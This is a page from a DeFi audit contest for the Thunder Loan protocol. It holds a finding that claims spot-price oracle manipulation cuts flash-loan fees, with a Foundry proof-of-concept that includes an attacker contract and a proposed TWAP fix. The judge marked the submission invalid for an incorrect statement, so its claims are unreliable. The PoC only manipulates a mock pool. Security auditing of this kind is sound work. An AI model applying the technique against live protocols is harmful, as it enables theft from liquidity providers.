Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

OracleUpgradeable trusts the raw TSwap spot price with no TWAP/deviation protection, letting an attacker manipulate the flashloan fee atomically

Root + Impact

Description

  • OracleUpgradeable.getPriceInWeth() reads the connected TSwap pool's live spot price (getPriceOfOnePoolTokenInWeth()) and returns it directly - no TWAP, no multi-source cross-check, no deviation threshold, and no freshness/liquidity check.

  • ThunderLoan.getCalculatedFee() fully trusts this instantaneous value to compute the flash-loan fee: fee = amount * getPriceInWeth(token) * flashLoanFeeRate / precision^2. TSwap is a constant-product (x*y=k) AMM, so its spot price is just the pool's reserve ratio - anyone can move it arbitrarily with a single large swap, then reverse it with an opposite swap afterward (paying only the pool's own swap fee/slippage). Both the manipulating swap and the flashloan() call can be packed into one atomic transaction, and the manipulation capital itself can be borrowed via a flash loan elsewhere, so no real capital is required.

  • Because the fee is strictly linear in this manipulable price with no bounds, an attacker can crash the price before borrowing to pay a near-zero fee (directly stealing LP fee revenue), or pump it to grief/deny honest borrowers with an inflated fee requirement.

  • src/upgradedProtocol/ThunderLoanUpgraded.sol reuses the identical getCalculatedFee/getPriceInWeth logic unchanged, so the upcoming upgrade carries the same defect forward.

  • This is an independent root cause from the separate deposit()-triggers-updateExchangeRate() cluster: fixing one does not fix the other, and both currently coexist in the same deposit()/flashloan() code paths.

// OracleUpgradeable.sol
function getPriceInWeth(address token) public view returns (uint256) {
address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token);
@> return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth(); // raw, unprotected spot price
}
// ThunderLoan.sol
function getCalculatedFee(IERC20 token, uint256 amount) public view returns (uint256 fee) {
uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision;
@> fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision; // strictly linear in the manipulable price, no bounds
}

Risk

Likelihood:

  • Reason 1 // Requires only a single large swap against the external pool (and an optional reverse swap after), which needs no special permission or timing - any address can do this atomically alongside the flashloan call.

  • Reason 2 // The manipulation capital itself can be sourced via a flash loan from elsewhere, so the attacker needs no meaningful capital of their own - only gas and the target pool's swap fee/slippage.

Impact:

  • Impact 1 // An attacker can push the fee to near-zero and capture flash loans while paying a fraction of a cent on the dollar, directly at the expense of LPs who are owed the fee.

  • Impact 2 // The same primitive can push the fee arbitrarily high, denying honest borrowers who fund only the documented 0.3% rate.

Proof of Concept

Ran with forge test --match-path "test/PoC_5.t.sol" -vv: both tests pass. test_FeeIsFullyLinearInManipulablePrice shows getCalculatedFee() returning exactly 3e17 at the true price (1e18), exactly 3e14 (1000x smaller) after crashing the price 1000x, and exactly 3e20 (1000x larger) after pumping it 1000x - proving the fee is strictly linear and unbounded. test_AttackerBorrowsForNearZeroFee_AtomicManipulation runs the full attack in one external call: crash the price 1000x, call flashloan(100e18) and repay at the now near-zero fee, then restore the price - all atomically. The attacker actually pays only 3e14 instead of the honest 3e17 (99.9% less), the pool price is fully restored by the end of the call (no trace left), and the LP's exchange-rate gain is confirmed ~1000x smaller than what an honest fee would have produced (assertApproxEqRel within 1%). Log output: fee at true price (1e18): 300000000000000000, fee at crashed price (1e15): 300000000000000, fee at pumped price (1e21): 300000000000000000000, fee attacker actually paid: 300000000000000. Full regression suite passing, no regressions.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import { Test, console } from "forge-std/Test.sol";
import { ERC20Mock } from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import { ThunderLoan } from "../src/protocol/ThunderLoan.sol";
import { AssetToken } from "../src/protocol/AssetToken.sol";
import { ITSwapPool } from "../src/interfaces/ITSwapPool.sol";
import { IPoolFactory } from "../src/interfaces/IPoolFactory.sol";
contract ManipulableTSwapPool is ITSwapPool {
uint256 public price;
constructor(uint256 startingPrice) { price = startingPrice; }
function setPrice(uint256 newPrice) external { price = newPrice; }
function getPriceOfOnePoolTokenInWeth() external view returns (uint256) { return price; }
}
contract MiniPoolFactory is IPoolFactory {
mapping(address => address) public pools;
function setPool(address token, address pool) external { pools[token] = pool; }
function getPool(address token) external view returns (address) { return pools[token]; }
}
contract OracleManipulationAttacker {
ThunderLoan public immutable thunderLoan;
ManipulableTSwapPool public immutable pool;
IERC20 public immutable token;
constructor(ThunderLoan _thunderLoan, ManipulableTSwapPool _pool, IERC20 _token) {
thunderLoan = _thunderLoan;
pool = _pool;
token = _token;
}
function attack(uint256 borrowAmount) external {
uint256 truePrice = pool.price();
pool.setPrice(truePrice / 1000);
thunderLoan.flashloan(address(this), token, borrowAmount, "");
pool.setPrice(truePrice);
}
function executeOperation(address tok, uint256 amount, uint256 fee, address, bytes calldata) external returns (bool) {
IERC20(tok).approve(address(thunderLoan), amount + fee);
thunderLoan.repay(IERC20(tok), amount + fee);
return true;
}
}
contract PoC_OracleManipulation is Test {
ThunderLoan thunderLoan;
MiniPoolFactory factory;
ManipulableTSwapPool tokenAPool;
ERC20Mock tokenA;
address lp = makeAddr("lp_victim");
uint256 constant TRUE_PRICE = 1e18;
uint256 constant LP_DEPOSIT = 1_000e18;
uint256 constant BORROW_AMOUNT = 100e18;
function setUp() public {
tokenA = new ERC20Mock();
factory = new MiniPoolFactory();
tokenAPool = new ManipulableTSwapPool(TRUE_PRICE);
factory.setPool(address(tokenA), address(tokenAPool));
ThunderLoan implementation = new ThunderLoan();
ERC1967Proxy proxy = new ERC1967Proxy(address(implementation), "");
thunderLoan = ThunderLoan(address(proxy));
thunderLoan.initialize(address(factory));
thunderLoan.setAllowedToken(IERC20(address(tokenA)), true);
tokenA.mint(lp, LP_DEPOSIT);
vm.startPrank(lp);
tokenA.approve(address(thunderLoan), LP_DEPOSIT);
thunderLoan.deposit(IERC20(address(tokenA)), LP_DEPOSIT);
vm.stopPrank();
}
function test_FeeIsFullyLinearInManipulablePrice() public {
uint256 feeAtTruePrice = thunderLoan.getCalculatedFee(IERC20(address(tokenA)), BORROW_AMOUNT);
assertEq(feeAtTruePrice, 3e17);
tokenAPool.setPrice(TRUE_PRICE / 1000);
assertEq(thunderLoan.getCalculatedFee(IERC20(address(tokenA)), BORROW_AMOUNT), feeAtTruePrice / 1000);
tokenAPool.setPrice(TRUE_PRICE * 1000);
assertEq(thunderLoan.getCalculatedFee(IERC20(address(tokenA)), BORROW_AMOUNT), feeAtTruePrice * 1000);
}
function test_AttackerBorrowsForNearZeroFee_AtomicManipulation() public {
AssetToken assetToken = thunderLoan.s_tokenToAssetToken(IERC20(address(tokenA)));
uint256 lpExchangeRateBefore = assetToken.getExchangeRate();
OracleManipulationAttacker attacker = new OracleManipulationAttacker(thunderLoan, tokenAPool, IERC20(address(tokenA)));
tokenA.mint(address(attacker), 1e15);
uint256 attackerBalanceBefore = tokenA.balanceOf(address(attacker));
attacker.attack(BORROW_AMOUNT);
uint256 feeActuallyPaid = attackerBalanceBefore - tokenA.balanceOf(address(attacker));
assertEq(tokenAPool.price(), TRUE_PRICE);
assertEq(feeActuallyPaid, 3e17 / 1000);
assertLt(feeActuallyPaid, 3e17);
uint256 actualRateGain = assetToken.getExchangeRate() - lpExchangeRateBefore;
uint256 expectedRateGainIfHonest = (3e17 * assetToken.EXCHANGE_RATE_PRECISION()) / assetToken.totalSupply();
assertApproxEqRel(actualRateGain * 1000, expectedRateGainIfHonest, 0.01e18);
}
}

Recommended Mitigation

- function getPriceInWeth(address token) public view returns (uint256) {
- address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token);
- return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
- }
+ function getPriceInWeth(address token) public view returns (uint256) {
+ address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token);
+ // Use a time-weighted average price over a minimum observation window instead of the
+ // raw instantaneous spot price, so a single-transaction swap cannot move it.
+ return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWethTWAP(MIN_TWAP_WINDOW);
+ }
  1. Replace the raw spot-price read with a time-weighted average price (TWAP) over a meaningful observation window, so a single atomic transaction cannot move the price used for fee calculation.

  2. Cross-check against a second, independent price source (e.g. a Chainlink feed) and pause or fall back to a conservative default fee when the two sources diverge beyond a configured threshold.

  3. Add freshness/minimum-liquidity checks so a newly created or thinly-liquid pool cannot be used as the sole price reference immediately after being manipulated.

  4. As a defense-in-depth measure, clamp getCalculatedFee()'s output to a sane min/max band around the configured s_flashLoanFee rate, so even a compromised price feed cannot push the effective fee to near-zero or to an unreasonable multiple.

  5. Apply this fix to both src/protocol/OracleUpgradeable.sol and src/upgradedProtocol/ThunderLoanUpgraded.sol, since the upgraded contract currently reuses the identical vulnerable logic.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!